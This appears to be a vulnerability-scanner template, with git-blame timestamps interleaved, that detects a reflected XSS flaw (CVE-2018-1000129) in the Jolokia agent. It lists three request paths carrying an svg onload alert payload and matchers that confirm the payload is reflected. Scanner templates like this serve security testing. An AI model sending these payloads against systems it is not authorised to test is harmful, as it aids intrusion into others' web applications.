2020-09-15 19:25:55 +00:00
id : cve-2018-1000129
2020-06-17 09:16:11 +00:00
info :
name : Jolokia XSS
2020-09-01 12:42:12 +00:00
author : mavericknerd @0h1in9e
2020-06-17 09:16:11 +00:00
severity : high
2020-08-25 22:15:20 +00:00
description : An XSS vulnerability exists in the Jolokia agent version 1.3.7 in the HTTP servlet that allows an attacker to execute malicious javascript in the victim's browser.
2020-06-17 09:16:11 +00:00
requests :
- method : GET
path :
2020-09-01 12:42:12 +00:00
- "{{BaseURL}}/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
- "{{BaseURL}}/api/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
- "{{BaseURL}}:8080/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
2020-07-08 11:38:57 +00:00
matchers-condition : and
2020-06-17 09:16:11 +00:00
matchers :
- type : status
status :
- 200
- type : word
words :
2020-09-01 12:42:12 +00:00
- "<svg onload=alert(document.domain)>"
2020-06-17 09:16:11 +00:00
part : body
2020-09-01 12:42:12 +00:00
- type : word
words :
- "text/html"
part : header
